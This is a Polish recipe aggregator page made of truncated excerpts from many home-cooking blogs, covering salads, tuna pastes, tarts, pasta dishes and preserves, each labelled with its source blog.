dzisiaj jajka faszerowane tuńczykiem i kaparami, świetne danie również na Wielkanocny stół. Smacznego. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Jajka faszerowane tuńczykiem i kaparami Składniki 4 jajka 1 puszka tuńczyka w sosie własnym szczypiorek 1 łyżka musztardy 1 łyżka majonezu 1 łyżka kaparów sól pieprz Instrukcje Jajka gotujemy na twardy, studzimy. Kroimy na pół, delikatnie wyjmujemy żółtka. Żółtka ucieramy z osączonym tuńczykiem

To co lubię - gotuję i polecam
Sałatka ryżowa 119

smaczna. Może zrobicie ją w nadchodzące święta? Zapraszam. :) (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Sałatka ryżowa Składniki 1 szklanka ryżu 1 mała puszka kukurydzy 1 puszka tuńczyka w oleju lub w sosie własnym (duże kawałki) 1 mała papryka czerwona 4 łyżki marynowanej cebulki 4 ogórki konserwowe 4 jajka lub 8 przepiórczych oliwa z oliwek majonez sól pieprz natka pietruszki Instrukcje Ryż gotujemy

To co lubię - gotuję i polecam
Sałatka śledziowa 119

utrzeć z musztardą, dodać śmietanę i majonez. Jeśli są grudki można przetrzeć przez sitko. Warzywa delikatnie wymieszać, doprawić solą i pieprzem. Ułożyć śledzie, na wierzch warzywa i całość polać sosem. Smacznego. Artykuł Sałatka śledziowa pochodzi z serwisu To co lubię gotuję

To co lubię - gotuję i polecam
Sałatka z wędzonym kurczakiem 124

Kurczaka, paprykę i ananasa kroimy w kostkę, kukurydzę i fasolę osączamy z zalewy. Wszystkie składniki delikatnie wymieszać, doprawić do smaku solą i pieprzem. W miseczce wymieszać majonez z jogurtem, sosem polać sałatkę, dodać natkę pietruszki i jeszcze raz delikatnie wymieszać. Jeśli ktoś nie lubi ananasów może je pominąć. Artykuł Sałatka z wędzonym kurczakiem pochodzi z serwisu To co lubię gotuję

To co lubię - gotuję i polecam
Makaron wstążki z wędzonym łososiem 142

uważając, żeby łosoś nie rozpadł nam się na drobne kawałki. Po ok. 1 minucie dodajemy śmietankę, doprawiamy solą i pieprzem do smaku. Całość doprowadzamy do wrzenia i gotujemy, aż sos zgęstnieje. Mieszamy z makaronem. Smacznego. Artykuł Makaron wstążki z wędzonym łososiem pochodzi z serwisu To co lubię gotuję

To co lubię - gotuję i polecam
Pomidory z mozzarellą 135

czosnek, sól i oliwę z oliwek utrzeć w moździerzu lub zblendować. Pomidory dokładnie umyć, pokroić w grube plastry. Mozzarellę osączyć z zalewy pokroić w plastry. Układać na przemian, polać sosem. Smacznego :) Artykuł Pomidory z mozzarellą pochodzi z serwisu To co lubię gotuję

To co lubię - gotuję i polecam
Muszle ze szpinakiem. 115

łyżkę oregano i łyżkę bazylii mogą być świeże lub suszona. G otujemy makaron w lekko osolonej wodzie. Odcedzamy i przelewamy zimną wodą. D o naczynia żaroodpornego wlewamy wcześniej przygotowany sos pomidorowy a na nim układamy makaronowe muszle wypełnione serowo-szpinakowym farszem. Całość posypujemy parmezanem i zapiekamy około 20 minut w piekarniku nagrzanym do 180 stopni. Artykuł Muszle ze szpinakiem. pochodzi

To co lubię - gotuję i polecam
Sałatka śledziowa z brokułami 131

ręczniku papierowym i kroimy w dużą kostkę. Cebulę i ogórki kiszone kroimy w drobną kostkę Kukurydzę osączamy z zalewy. Wszystkie składniki delikatnie mieszamy w misce, a całość polewamy sosem zrobionym z łyżki musztardy, majonezu i śmietany. Doprawiamy pieprzem do smaku. Odstawiamy do lodówki na minimum godzinę, żeby smaki się połączyły. Artykuł Sałatka śledziowa z brokułami pochodzi z serwisu

To co lubię - gotuję i polecam
Przecier pomidorowy 118

Kilka lat temu pierwszy raz przygotowałam taki przecier, od tej pory nie kupuję koncentratów pomidorowych i innych przetworów pomidorowych. Ten przecier idealnie nadaje się do zupy pomidorowej, sosów, spaghetti. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Przecier pomidorowy Składniki 5 kg pomidorów Lima 2 łyżeczki soli 2 łyżki cukru Instrukcje Pomidory myjemy, kroimy na kawałki i wrzucamy do garnka z grubym dnem. Gotujemy

To co lubię - gotuję i polecam
Łódeczki z awokado 136

dodatkowa porcja kcal w te mrozy z pewnością nam się przyda. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Łódeczki z awokado Porcje 2 Składniki 1 dojrzałe awokado 1 tuńczyk w sosie własnym 3 łyżki kukurydzy z puszki 3 ogórki konserwowe sok z cytryny lub limonki łyżka gęstego jogurtu lub majonezu sól pieprz Instrukcje Awokado myjemy i kroimy na pół. Wyjmujemy pestkę, a miąższ

To co lubię - gotuję i polecam
Sałatka z kurczakiem 152

Rzodkiewki kroimy w talarki. Pomidory kroimy w kostkę. Kukurydzę osączamy na sicie. Majonez mieszamy ze śmietaną i zmiażdżonym ząbkiem czosnku. Wszystkie składniki delikatnie mieszamy doprawiamy solą i pieprzem, polewamy sosem. Wierzch możemy posypać drobno pokrojonym koperkiem lub natką pietruszki. Artykuł Sałatka z kurczakiem pochodzi z serwisu To co lubię gotuję

To co lubię - gotuję i polecam
Sałatka śledziowa z buraczkami 145

zapraszam :) (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Sałatka śledziowa z buraczkami Składniki 6 płatów śledziowych 4 średnie buraki 4 średnie ziemniaki 1 cebula cukrowa 1 jabłko 3 ogórki konserwowe sól pieprz Sos: 2 łyżki majonezu lub kwaśnej śmietany 1 łyżka oleju 1 łyżka łagodnej musztardy 1 łyżka oleju Instrukcje Śledzie zalewamy zimną wodą i moczymy przez minimum godzinę, raz zmieniamy wodę. Buraki

To co lubię - gotuję i polecam
Domowe chlebki naan 144

wieloma potrawami kuchni indyjskiej. I z tej właśnie okazji pojawił się i u mnie kiedy miałam przyjemność testować produkty firmy Patak's która w swojej ofercie posiada aromatyczne indyjskie sosy, pasty przyprawowe, chutnej oraz pikle kuszące przyprawami, kolorami i niezwykłymi aromatami Składniki na 8 niedużych chlebków: 300g mąki pszennej 1 opakowanie drożdży instant 7g 1/3 szklanki ciepłego mleka 3 łyżki

W garach u Gosi
Zielona sałatka jajeczna 121

pekińską szatkujemy. Pora kroimy w półplasterki, jajka kroimy w dużą kostkę. Wszystkie składniki delikatnie mieszamy w misce, dodajemy osączony z zalewy groszek konserwowy. Z jogurtu majonezu i ketchupu robimy sos i polewamy sałatkę. Doprawiamy solą i pieprzem i całość raz jeszcze delikatnie mieszamy. Smacznego. Artykuł Zielona sałatka jajeczna pochodzi z serwisu To co lubię gotuję

To co lubię - gotuję i polecam
Pierogi z soczewicą i pieczarkami 207

ząbek czosnku 2 łyżki posiekanej natki pietruszki 3 łyżki oleju Składniki na ciasto: 350 g mąki pszennej 1 żółtko ¾ szklanki gorącej wody 2 łyżki masła ½ łyżeczki soli Składniki na sos: 250 g jogurtu naturalnego mały ząbek czosnku 1 łyżeczka drobno posiekanego szczypiorku Instrukcje Pieczarki obieramy i kroimy na małe kawałki. Cebulę oraz czosnek kroimy w drobną kostkę. Na patelni rozgrzewamy

To co lubię - gotuję i polecam
Makaron z pesto i krewetkami 140

makaron z pesto do takich należy. Powiecie pesto…to nie zupełnie tak prosto. .. A jednak, bo do potrawy użyłam gotowego Pesto alla Genovese firmy Ponti . To aromatyczny zielony sos pochodzący z Genui we Włoszech, który składa się przede wszystkim z oliwy z oliwek, bazylii, orzeszków piniowych i sera Grana Padano. (porcja dla 2 osób) Składniki: 200g makaronu bavette lub innego

W garach u Gosi
Sałatka z kukurydzą i tuńczykiem 124

niespodziewanych gości. Do tego jest naprawdę smaczna, polecam :) (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Sałatka z kukurydzą i tuńczykiem Czas przygotowania 10 min Składniki 1 puszka kukurydzy 1 tuńczyk w sosie własnym 1 papryka mocno czerwona majonez Instrukcje Kukurydzę osączamy z zalewy wsypujemy do miski, dodajemy pokrojoną w kostkę paprykę. Odsączamy tuńczyka z zalewy i rozdrabniamy widelcem. Całość delikatnie mieszamy i dodajemy

To co lubię - gotuję i polecam
Makaron z zielonym pesto i orzechami. 129

oliwę z oliwek, parmezan i całość blendujemy. Masę przekładamy na patelnię do kurczaka, dodajemy śmietankę, dokładnie mieszamy i dusimy dosłownie chwilę. Ugotowany makaron al dente przekładamy na patelnię z sosem, mieszamy. Przekładamy na talarze i posypujemy parmezanem. Artykuł Makaron z zielonym pesto i orzechami. pochodzi z serwisu To co lubię gotuję

To co lubię - gotuję i polecam
Pasztet z pieczarkami 125

najwięcej czasu zajmuje pokrojenie pieczarek dlatego najlepiej wybierać te większe. Pieczarki powinny być świeże i białe wtedy pasztet nie będzie zbyt ciemny. Jest bardzo smaczny z dodatkiem chrzanu czy sosu tatarskiego. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Pasztet z pieczarkami Składniki 1 kg pieczarek (muszą być świeże i białe) 1 duża cebula 8 jajek ugotowanych na twardo 10 dag żółtego sera (ostrego

To co lubię - gotuję i polecam
Tarta warzywna z marchewką i brokułami 120

misce roztrzepujemy jajka, dodajemy jogurt, przyprawy i czosnek przeciśnięty przez praskę, dokładnie mieszamy. Na koniec dodajemy starty żółty ser i jeszcze raz mieszamy. Na spód podpieczonej tarty wykładamy sos i układamy wcześniej podgotowane warzywa. Tartę ponownie wstawiamy do piekarnika nagrzanego do 190 C i pieczemy jeszcze około 30-40 minut. Artykuł Tarta warzywna z marchewką i brokułami pochodzi z serwisu

To co lubię - gotuję i polecam
Gulasz wieprzowy z kaszą 113

przelewamy do garnka. Do mięsa wlewamy wodą, cm ponad powierzchnię mięsa, dodajemy przyprawy i całość dusimy do miękkości. Czas duszenia jest bardzo różny, wszystko zależy od jakości mięsa. Jeśli sos jest zbyt gęsty, w trakcie duszenia dolewamy odrobinę wody, przyprawiamy do smaku. Artykuł Gulasz wieprzowy z kaszą pochodzi z serwisu To co lubię gotuję

To co lubię - gotuję i polecam
Pasta z tuńczyka i twarogu 127

małe arcydzieło, było wesoło i smacznie. Zapraszam na pastę z tuńczyka i twarogu. Miłej zabawy. :) (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Pasta z tuńczyka i twarogu Składniki 1 puszka tuńczyka w sosie własnym 1 łyżeczka posiekanego szczypiorku 4 suszone pomidory 1 łyżeczka słonecznika prażonego 1 łyżeczka majonezu lub jogurtu 2 łyżki białego sera Instrukcje Kawałki tuńczyka osączyć z zalewy, przełożyć do blendera

To co lubię - gotuję i polecam
Grzybki marynowane 116

lasach zaczęły pojawiać się grzyby, uwielbiam je zbierać, przyrządzać i zjadać ;). Część została zamarynowana, a część ususzona, zrobiłam też pyszny sos grzybowy. Lubicie marynowane grzybki? Jeśli tak to zapraszam po przepis, wg niego robią moi rodzice i teraz robię ja, a przepis pochodzi z książki o przetworach, rok 1974. Zapraszam :) (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Grzybki marynowane Składniki małe grzybki (najlepiej

To co lubię - gotuję i polecam
Pulled pork – szarpana wieprzowina 132

miękkie. Świetnie pasuje do kanapek, wszelkiego rodzaju tortilli czy pit. Pasuje idealnie na ciepło jak i na zimno. Można pokroić je na grube plastry, polać powstałym podczas pieczenia sosem i podać z ulubionymi dodatkami jak ziemniaki czy kasza. Samo przygotowanie jej nie zajmie Wam dużo czasu, podczas pieczenia nie trzeba w ogóle do niej zaglądać. Zróbcie chociaż

To co lubię - gotuję i polecam
Biała kiełbasa zapiekana z jabłkiem i majerankiem 191

cebulą. Kiełbasę nacinamy i podsmażamy, aż ładnie się zrumieni, układamy na jabłkach i cebuli. Wstawiamy do piekarnika nagrzanego do 180 C i podpiekamy 15-20 minut. Podajemy z sosem chrzanowym lub dowolnymi dodatkami. Smacznego. Artykuł Biała kiełbasa zapiekana z jabłkiem i majerankiem pochodzi z serwisu To co lubię gotuję

To co lubię - gotuję i polecam
Klops z jajkiem 145

uwagę zasługuje klops. Po pierwsze dlatego, że jest bardzo smaczny, a po drugie zawiera jajko, które podczas świąt chętnie zjadamy w różnej postaci. Jako dodatek idealnie pasuje do niego sos chrzanowy lub tatarski. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Klops z jajkiem Składniki 850 g mięsa mielonego wieprzowego 1 szklanka marchewki z groszkiem (250 ml) 1 jajko 1 sucha bułka 1 cebula

To co lubię - gotuję i polecam
Pasta z tuńczykiem i jajkami 128

tego smaczne. Dzisiaj zapraszam Was po przepis na pastę z tuńczykiem i jajkiem. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Pasta z tuńczykiem i jajkami Składniki 1 puszka tuńczyka w sosie własnym 2 średnie ogórki kiszone 2 jajka ugotowane na twardo 100 g sera białego 1 łyżeczka drobno posiekanego koperku lub pietruszki sól pieprz 1 łyżka majonezu lub jogurtu (opcjonalnie) Instrukcje Tuńczyk osączamy

To co lubię - gotuję i polecam
Cukinia panierowana 117

Sezon na cukinię w pełni, szykując przetwory z cukinii warto przygotować cukinię panierowaną. Idealna na szybką przekąskę, świetnie smakuje sama lub z dodatkiem sosu czosnkowego. Najlepiej smakują małe cukinie, które nie mają dużych nasion. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Cukinia panierowana Składniki 1 średnia lub 2 małe cukinie 1-2 jajka bułka tarta sól olej do smażenia Instrukcje Cukinię dokładnie myjemy

To co lubię - gotuję i polecam
Tarta z cukinii 107

Zapraszam Was dzisiaj na pyszną, bezmięsną tartę z cukinii. Idealna na obiad lub lekką kolację, świetnie smakuje z sosem czosnkowym. Smaczna zarówno na ciepło jak i na zimno. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Tarta z cukinii Składniki 500 g (waga cukinii bez pestek) 3 jajka 2 łyżki bułki tartej 100 g sera żółtego (dowolny) 1 średnia cebula 2 łyżki posiekanej natki

To co lubię - gotuję i polecam
Czosnek niedźwiedzi – pasta 133

takiej formie dodawać jako przyprawę do różnych potraw, a także zrobić z niego pastę. Pamiętajcie, że najsmaczniejszy jest ten kupowany, (zbierany) wczesną wiosną. Doskonały jako dodatek do kanapek, sosów, mięs czy jajek. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Czosnek niedźwiedzi – pasta Składniki 200 g liści czosnku niedźwiedziego 1 łyżka soli oliwa z oliwek Instrukcje Liście bardzo dokładnie myjemy i osuszamy. Blendujemy

To co lubię - gotuję i polecam
Makaron ze szpinakiem 141

chwilę podsmażamy. Następnie dodajemy umyty i posiekany szpinak. Chwilę smażymy, aż straci objętość, Następnie dodajemy serek topiony, mascarpone oraz śmietankę. Chwilę smażymy, aż składniki się rozpuszczą, dokładnie połączą, a sos lekko zredukuje. Na patelnię przekładamy makaron i całość dokładnie mieszamy. Doprawiamy do smaku solą jednak zazwyczaj szynka jest na tyle słona, że to w zupełności wystarczy. Podajemy od razu. Całość

To co lubię - gotuję i polecam
Tarta ze szparagami, cukinią oraz fetą. 149

dodajemy pokruszony ser feta, jogurt grecki oraz mleko. Całość dokładnie mieszamy, najlepiej rózgą. Doprawiamy pieprzem i ew. solą (uwaga feta jest słona). Na spód tarty wykładamy pokrojone szparagi, wylewamy sos, a na wierzch układamy cukinię oraz główki szparagów. Wstawiamy do piekarnika nagrzanego do 180 C (piekarnik góra-dół) i pieczemy godzinę. Jeśli tarta zbyt mocno się przypieka wierzch można przykryć

To co lubię - gotuję i polecam
Placki z cukinii i marchewki. 168

Placki z cukinii i marchewki. Pomysł na smaczne i szybkie danie. Świetne jako samodzielne danie lub jako dodatek do sosów mięsnych lub grzybowych. Placki, które uwielbiają zarówno dzieci jak i dorośli. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Placki z cukinii i marchewki. Składniki 2-3 małe cukinie około 600 g 1-2 marchewki około 200 g 1 mała cebula cukrowa 2 łyżki

To co lubię - gotuję i polecam
Ocet Jabłkowy 118

Zawiera  witaminę B1, B2, B3, B5,witaminę C, biotynę. Sód, potas, wapń, magnez również w occie jabłkowym jest. W kuchni używam go niemal do wszystkiego  : sałatek, marynowania , sosów, zup, marynowania mięsa. Pro zdrowotnie na zgagę, na odbarwienia na skórze (tak zaw. plamy starcze), na odkwaszenie organizmu, do płukania włosów aby miały lepszą kondycję. to tylko kilka przykładów . Teraz

Eli Gotowanie
Gołąbki z piekarnika z warzywami 141

żaroodpornym polewamy 2 szklankami wody z rozrobioną kostką rosołowa. 5.      Pieczemy 30 minut w 180 ° C. 6.      Po upieczeniu dodajemy do sosu przecier pomidorowy i śmietanę, jeszcze chwile pieczemy. 7.       Smacznego

Kulinarna Chwila
gulasz z indyka z paryką, czosnkiem... 193

się niezbyt łatwo obiera.   Tak przygotowany czosnek można dodać również do smarowania pieczywa . Mąkę wymieszać ze śmietaną i wodą 1/2 szklanki, wlać do gulaszu i zagotować do zagęszczenia sosu, do smaku dodać soli, wsypać natkę pietruszki - przepyszny gulasz z indyka z dużą ilością papryki, czosnku, gulasz jest bardzo smaczny, lekki ale i pożywny.........SMACZNEGO

W Mojej Kuchni Lubię
Owsiane gofry z cukinią i serem 111

zależności od gofrownicy). Gofry zdejmować za pomocą patyczka, mogą lekko kleić się do gofrownicy ze względu na topiący się ser. Upieczone gofry podawać wg uznania, np. z mozzarellą, sosem, sałatką. Smacznego

Obiad gotowy
Kolorowa sałatka z serem feta 182

rzodkiewkę, seler naciowy oraz cebulę. Na wierzch dać kiełki słonecznika. Do słoiczka wlać oliwę, sok z cytryny , zioła i doprawić do smaku solą i pieprzem, dokładnie wymieszać. Gotowym sosem polać sałatkę. Smacznego

magiczna kuchnia Kasi
Sałatka owocowo-warzywna z marynowaną cebulką 109

oraz kiszonego ogórka ( ser oraz ogórka można zetrzeć na tarce o grubych oczkach ). Winogrona opłukałem, osuszyłem, przekroiłem na połówki. Kukurydzę osączyłem z zalewy. Natkę pietruszki drobno posiekałem. Przygotowałem sos. Jogurt i chrzan wymieszałem w miseczce, dodałem pieprz. Wszystkie składniki sałatki połączyłem, delikatnie wymieszałem. Schłodziłem w lodówce

R'n'G Kitchen
Pikantny ketchup z cukinii. 112

Pyszny domowy ketchup, sos, zależy do czego użyjecie. Ja uwielbiam dodawać do mięs i domowej pizzy! Co nam trzeba? 3 kg cukinii (ok. 6 sztuk) 1 kg cebuli 2 łyżki soli 1 szklanka cukru 1 szklanka octu po 1 łyżce słodkiej papryki i ostrej, pieprzu czarnego 3 słoiczki (200g) koncentratu pomidorowego Robimy! Cukinię myjemy, obieramy, tniemy końcówki i kroimy

Latosiowydom
Chili dog 137

fasolę i poddusić kolejne 5-7 minut (jeżeli fasola nie jest używana do chili, pominąć ten krok). Kiełbaski/parówki obsmażyć na patelni grillowej. Bułki rozkroić, delikatnie posmarować samym sosem. Włożyć gorące kiełbaski, na wierzch kłaść chili. Podawać na ciepło. Wartość energetyczna (1 porcja) Energia: 525,3 kcal Tłuszcz: 22,5g Białko: 35g Węglowodany: 41,9g Smacznego

Zielona Kuchnia
Kurczak z makaronem na ostro 145

śmietany (330 g) 1 opakowanie rukoli 4–5 ząbków czosnku 50 g suszonych pomidorów 2 ostre papryczki 1 łyżka + 1 łyżeczka soli (łyżka do makaronu, łyżeczka do warzyw i sosu) 1/2 łyżeczki świeżo mielonego pieprzu Kroimy: kurczaka, cebulę, suszone pomidory i papryczkę. Myjemy rukolę, jeśli kupiliśmy niemytą, makaron gotujemy zgodnie z instrukcją podaną na opakowaniu. Na bardzo dużej patelni

Proste-przepisy.pl
Pindjur 206

ziół. Gwarantuję wam, że się zakochacie. My żremy, bo jedzeniem tego nie można nazwać, pindjur z białym serem i jest to połączenie genialne. Pindjur możecie wykorzystać jako dip, sos do makaronów, jako podrasowanie gulaszy czy pieczonego mięsa lub warzyw. My używamy go zamiast ketchupu. Robiłam kilka wersji. Jednak to pindjur wygrzebany z bałkańskich zapisków mojej teściowej, wygrał wszelkie konkursu

ladykitchen
Smażone kwiaty cukinii 137

Dziś zaproponowałam Wam najprostszą wersję, czyli smażone kwiaty w cieście naleśnikowym. Oraz nadziewane lekkim twarożkiem krowim lub kozim. Kwiaty świetnie smakują na ciepło i na zimno, z dodatkiem sosów lub skropione sokiem z cytryny czy dobrą oliwą. Koniecznie spróbujcie! 🥘 Składniki sztuk kwiatów cukinii ½ opakowania serka kremowego krowiego lub koziego opcjonalnie sól i pieprz Składniki na ciasto

SprawdzonaKuchnia.pl
Sałatka caprese i kilka sekretów jej smaku 189

minut przed przygotowaniem sałatki. Ser kroimy w grube plastry (ok 7mm). Po drugie - pomidory. Muszą być dojrzałe, ale nie za miękkie (te lepiej wykorzystać do zupy lub sosu), mięsiste i dojrzałe w słońcu. Mieszanka kilku gatunków i kolorów - jak najbardziej, choć kolorystycznie nie będzie to już "włoska flaga". Pomidory również kroimy w grube plastry (0,7-1cm). Po trzecie

Obiad gotowy
Ajvar 238

próbować łyżką, którą już próbowaliśmy, po każdej próbie bierzemy czystą łyżkę. Wiem, że to może wydać wam się dziwne, ale już parę razy zabiliśmy przez takie podjadanie kilka sosów pomidorowych i dżemów. Gorący ajvar przekładamy do wyparzonych słoiczków. Przekładamy, upychając ajvar tak, żeby wypchać ze słoika jak najwięcej powietrza. Zakręcamy i pasteryzujemy 20 min w 120 stopniach w piekarniku. Wyciągamy

ladykitchen
PTYSIE Z PASTĄ TUŃCZYKOWĄ 170

Jednak ja tym razem wykorzystałam gotowe ptysie od  Brześć . Ptysie wystarczyło tylko przekroić na pół i nadziewać pastą. Szybko i smacznie :) Składniki na pastę: * 2 puszki tuńczyka w sosie własnym * 2 jajka * 2 ogórki konserwowe * 1 łyżeczka chrzanu  * 2 łyżki majonezu * sól i pieprz do smaku Dodatkowo gotowe ptysie Wykonanie: Tuńczyk odlać z zalewy, przełożyć do miski, rozdrobnić

Zrób to smacznie
Dookoła świata. Dania i smaki Australii 109

Frytki i ryby, to także ulubione danie zwłaszcza na terenach nad oceanem. Natomiast na śniadanie mieszkańcy Australii uwielbiają jeść bułkę z jajkiem i boczkiem, która jest polana keczupem lub sosem barbecue. Lecz to nie wszystko w kuchni australijskiej. Bo współczesna kuchnia australijska lubi czerpać wiele z innych kuchni świata. Ludzie wciąż poszukują nowych smaków, nawet z najdalszych zakątków świata. Również

ProstePesto.pl
Sałatka z roszponki z wędzonym łososiem i jajkiem 136

paseczki, następnie zwinąć w ruloniki, ułożyć pomiędzy warzywami i jajkami. Wszystko posypać koperkiem. Oliwę wymieszać z sokiem z cytryny i przyprawami, skropić sałatę. Podawać od razu po dodaniu sosu. Smacznego

Krylowa Kuchnia
Kurczak duszony z warzywami i ryżem 193

Proste danie przygotowane w jednym garnku.  W sumie to nie wiem jak to nazwać. Nie zupa bo za gęste, nie potrawka bo bez sosu. Prawie jak rissotto ale przygotowane inaczej. W każdym razie wyszło pyszne. składniki: 650 g mięsa z udek kurczaka, bez kości i skóry 300 g cebuli 300 g marchewki 300 g kalarepy 150 g ryżu

Monia miesza i gotuje
Makaron z mięsem mielonym i fasolką szparagową + film 106

mięsa i fasolki. Następnie dodajemy pomidory z puszki, imbir, słodką paprykę, całość doprawiamy solą oraz sporą ilością czarnego pieprzu i mieszamy, wszystko gotujemy jeszcze około 5 minut. Tak przygotowany sos podajemy z ugotowanym makaronem.   Artykuł Makaron z mięsem mielonym i fasolką szparagową + film pochodzi z serwisu Smakowite Dania

Smakowite Dania
Ziemniaki 177

Gotowane w łupinie to tzw. ziemniaki w mundurkach.    Placki ziemniaczane mogą być podawane zarówno ze śmietaną, mięsem, cebulą etc., jak i jogurtowymi czy śmietanowymi sosami o słodkim smaku, z dodatkiem owoców itd.    Do ziemniaczanego puree, by trochę urozmaicić posiłek je zawierający, można dodać min. gniecioną marchewkę, czosnek, zioła, czy nawet tarty

Lejdi of the house
Aromatyczna konfitura z czerwonej cebuli 164

przygotowanej cebuli dodajemy wino, cukier, ocet balsamiczny oraz przyprawy. Gotujemy na wolnym ogniu, od czasu do czasu mieszając.  Konfitura będzie gotowa kiedy cebula będzie całkowicie miękka, a sos powstały z powyższych produktów całkowicie się zdredukuje.  Konfiturę można włożyć do lodówki i spożywać na codzień lub włożyć do słoików i zapasteryzować - idealnie się przyda na rodzinne spotkania lub przyjacielskie

Kuchnia moimi oczami
Cukinia faszerowana kurczakiem i pieczarkami 147

Farsz można przygotować dzień wcześniej, a przed podaniem tylko zapiec cukinie w piekarniku. Jeśli lubicie cukinię, to takie danie z pewnością przypadnie wam do gustu! Można je podać z sosem czosnkowym lub ketchupem i ulubioną surówką, np. z sałaty i ogórka. Składniki na cukinię faszerowaną kurczakiem i pieczarkami (3 porcje): 3 młode cukinie średniej wielkości 2 piersi z kurczaka sporej

e-PrzepisyKulinarne
Sałatka Kebab z czerwoną kapustą i grzankami 132

Uwielbiam kebaby i dlatego postanowiłam zrobić tą sałatkę,wyszła genialna !! Wymieszałam ze sobą wszystko co w kebabie lubię najbardziej,wymieszałam z czosnkowym sosem i do tego zamiast bułki czosnkowe grzanki- mniam!! Fajnie wygląda i do tego pysznie smakuje - sprawdzi się super na każdej imprezie ,lub po prostu na kolację czy lunch, polecam

Swojskie jedzonko
Gulasz warzywny w sosie orzechowym 234

mały kalafior 1/2 kg ziemniaków 1 duża cebula 3 ząbki czosnku 40 g masła orzechowego 40 g pasty tahini słodka papryka, zioła … Czytaj dalej Gulasz warzywny w sosie orzechowym

czarrna od kuchni
Pstrąg curry w sosie śmietanowo - pieczarkowym 129

przy nim niedużo a rozkosz jedzenia jest wielka. Jadacie ryby? lubicie ryby? my bardzo i jadamy je dość często. Dzisiejsze danie to kwintesencja smaku i aromatu, polecam. Pstrąg w sosie. CZYTAJ DALEJ

Moje Małe Czarowanie
Kurczak curry z cukinią 123

minuty. Nasze gotowe danie podajemy np. z ugotowanym ryżem basmati lub kaszą jaglaną i oczywiście zdobimy natką pietruszki! Smacznego! Spróbuj także: pieczone pulpeciki z fasolki szparagowej, kurczak duszony w sosie porowo-marchewkowym . Jeśli chcesz być na bieżąco ze zdrową i smaczną dietą, śledź mnie na Facebooku i Instagramie . Tam częściej pojawiają się zdrowe pyszności Artykuł Kurczak curry z cukinią pochodzi

Natka Pietruszki
PASTA Z TUŃCZYKA Z DODATKIEM CHRZANU 133

Doskonała na kanapkę lub np do faszerowania jajek. W moim domu tuńczyk jest bardzo lubiany, więc pasta zniknęła bardzo szybko, jutro robię kolejną porcję :) Składniki: * 2 puszki tuńczyka w sosie własnym * 2 jajka * 2 ogórki konserwowe * 1 łyżeczka chrzanu (użyłam  Moryń ) * 2 łyżki majonezu * sól i pieprz do smaku Wykonanie: Tuńczyk odlać z zalewy, przełożyć do miski, rozdrobnić widelcem

Zrób to smacznie
Pieczone "frytki" z cukinii 138

prostokątna do ciastek.  Postępuję tak samo z każdym kawałkiem aż do skończenia warzywa. Piekę w 200C ( piekarnik z termoobiegiem) przez  ok.20 min. Podajemy z ketchupem lub ulubionym sosem

Kuchnia Pełna Emocji
Placki po węgiersku z cukinii 130

już prawie miękkie dodajemy pokrojone w paseczki papryki oraz w kostkę ogórki konserwowe. 2.    Następnie dodajemy kukurydze bez zalewy i przecier pomidorowy, doprawiamy chili i chwilę gotujemy, sos jest gęsty, więc nie potrzeba go zagęszczać. 3.    Cukinie oraz cebulę obieramy i ścieramy na tarce o dużych oczach, solimy i wyciskamy sok, najlepiej na sitku ugniatać łyżką

Kulinarna Chwila
PRZECIER POMIDOROWY 178

Przechowujemy w zimnym miejscu w spiżarni lub w piwnicy. 8. Taki przecier jest baza do różnych pomidorowych dań -zima możemy użyć np robiąc zupę pomidorowa, lub jako dodatek do sosu do pizzy.  SMACZNEGO

Kulinarnie z Polką na Kresach
Zawijaski naleśnikowe z tuńczykiem 224

Składniki: ciasto: 1 jajko 20 g mąki woda, sól nadzienie: 1 puszka tuńczyka w sosie własnym 1 jajko 2 łyżki skyru lub serka naturalnego 2 łyżki chudego jogurtu 1 łyżka … Czytaj dalej Zawijaski naleśnikowe z tuńczykiem

czarrna od kuchni
Surówka z białej kapusty 154

wiórki, marchewkę oraz cebulę na drobnych oczkach (można nawet na tych do tarcia ziemniaków   ). Pietruszkę drobno siekamy. Z oleju, soku z cytryny, cukru, odrobiny soli i pieprzu robimy sos do surówki. Gdy cukier i sól się rozpuszczą, dodajemy do poszatkowanych warzyw i dokładnie mieszamy. Odstawiamy przed podaniem na ok 15-20 minut, kapusta nieco zmięknie, a smak będzie bardziej

Kuchnia w czekoladzie
Zapiekanka z kurczakiem 240

Składniki: 2 filety z kurczaka 3/4 kg ziemniaków 2 marchewki 1 cukinia 800 g pomidorów słodka i ostra papryka rozmaryn suszony maggi, ocet balsamiczny, sos chili suszony czosnek niedźwiedzi sól, … Czytaj dalej Zapiekanka z kurczakiem

czarrna od kuchni
Curry z tofu, cukinią i brokułem 119

tofu było całkowicie pokryte pastą curry. Smaż około 4 – 5 minut. Dodaj mleko kokosowe, cukinię i cukier. Całość gotuj około 5 minut. Po tym czasie dodaj do sosu ugotowanego wcześniej brokuła. Całość wymieszaj i zdejmij z ognia. Ryż wyłóż na talerze, dodaj tofu wraz z cukinią i brokułem. Posyp ulubioną zieleniną. Smacznego ! Artykuł Curry z tofu, cukinią i brokułem

Moja pasja smaku
Sandacz z pieczarkami w sosie śmietanowym 140

podsmażyłem na nim pieczarki. Dodałem do nich ziemniaki, wlałem śmietanę wymieszaną ze szczyptą soli, doprawiłem do smaku sola i zmielonym pieprzem. Podgrzałem, mieszając. Gorące filety sandacza polałem śmietanowo-grzybowym sosem

R'n'G Kitchen
FASOLKA SZPARAGOWA NA DWA SPOSOBY + FILMIK 131

